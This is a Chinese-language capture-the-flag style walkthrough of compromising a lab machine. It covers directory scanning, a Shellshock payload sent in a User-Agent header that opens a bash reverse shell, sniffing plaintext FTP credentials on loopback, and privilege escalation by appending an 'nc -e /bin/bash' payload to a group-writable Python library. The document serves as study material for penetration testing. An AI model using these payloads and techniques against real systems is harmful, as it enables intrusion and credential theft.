信息搜集
nmap -sT --min-rate 10000 192.168.8.8 -p-ftp/ssh/web80,经典 的三个端口
nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o portsftp的这个版本似乎是有文件复制的漏洞
web渗透
gobuster扫描
先扫了一波敏感文件,只出了一个gate目录
gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php进一步目录扫描,仍然只出了一个目录
gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,phpdirsearch递归扫描
因为目录一层一层的出来,这边考虑尝试直接用递归扫描
dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive结果一样仍然只有一个目录
dirb扫描
换个工具再试一下呢
dirb http://192.168.8.8有不同的结果,扫出了cgi-bin,字典中其实都是包含的,这是为什么呢
┌───────────┬──────────────────────────┬─────────────────────────┐ │ 工具 │ 目录测试方式 │ 能发现 ScriptAlias 目录 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirb │ 自动补 / 测试 │ 能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ gobuster │ 不补 /,依赖服务端 301 │ 不能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirsearch │ 不补 /(默认),依赖 301 │ 不能 │简单用curl测试一下。不带/就会404了,确实是这个原因
目前得到了一个403的目录,dirb继续扫了一下发现没有结果
这边转头就换了,gobuster,因为它配置大字典扫的更快,
gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php果然有隐藏目录,打开发现似乎是一个脚本,执行了uptime的命令,可以查看时间和服务器状态
kali本机中也有相应的程序
nikto扫描
走到这一步仍然没有特别明晰的思路,于是尝试让nikto做一个web扫描
nikto -h http://192.168.8.8/cgi-bin/underworld爆了一个cve的漏洞,是shellshock,bash破壳漏洞
() { :; }; echo; /usr/bin/idburp抓包发送payload
成功命令执行
反弹shell
User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.8.11/4444 0>&1'linpeas提权靶机敏感信息
因为没有找到太多有用的信息,这边先用linpeas提权一下关键信息
发现靶机有抓包工具tcpdump
流量包抓取分析
因为ftp是明文传输,而靶机上面正好也有tcpdump抓包的环境,所以这边进行抓包分析
对外的网卡是ens33
tcpdump -i ens33 -w ftp.pcap -c 10000 #这边可以指定数据包数量,防止需要中断抓包导致反弹shell断联ens33网卡数据包没有关于ftp的数据,ftp可能是内部lo网卡通信
tcp.port == 21tcpdump -i lo -w ftp.pcap泄露了密码账号密码hades/PTpZTfU4vxgzvRBE
成功登录hades 的ftp
提权
凭证复用
这边直接尝试用刚才的凭证登录ssh,也是直接成功登录
因为抓包的时候发现ftp一直在内部通信,所以尝试先找一下这个程序运行的位置
find / -name ftp* 2>/dev/null找到这个ftp,应该是定期做服务的状态监测
它导入了一个ftplib的
组权限提权
执行id命令的时候发现,hades有gods的组权限
查找有1002组权限的文件、文件夹
find / -name ftp -group 1002 -type f 2>/dev/nullfind / -group 1002 -type d 2>/dev/null发现1002拥有整个python2.7库的组权限
这时候再查找一下ftplib的权限
ls -liah ftplib*确实是有gods的组权限
那就简单了直接再fptlib.py尾部追加payload
import os os.system("nc -e /bin/bash 192.168.8.11 4444")同步开启反弹shell接收,等待片刻
成功提权
小结一下
靶机的难度是中级到hard之间,打下来感觉还是有难度的。从一开始的目录枚举,就有很多坑要踩,不同的目录扫描工具扫描策略其实是有侧重的,dirb会对目录和文件双重扫描,gobuster扫的更快等等;然后就是nikto针对web指纹的扫描还是比较好用的,也是识别到了bash破壳漏洞;linpeas作为linux后渗透工具也是经常会用到,这个算是常规思路;tcpdump流量包抓取ftp流量,也是要mark的,因为ftp它是明文传输,只要能抓包就能拿到账号密码;最后的组权限提权,也是一个非常经典的案例,通过在组权限的python库文件注入payload,拿到root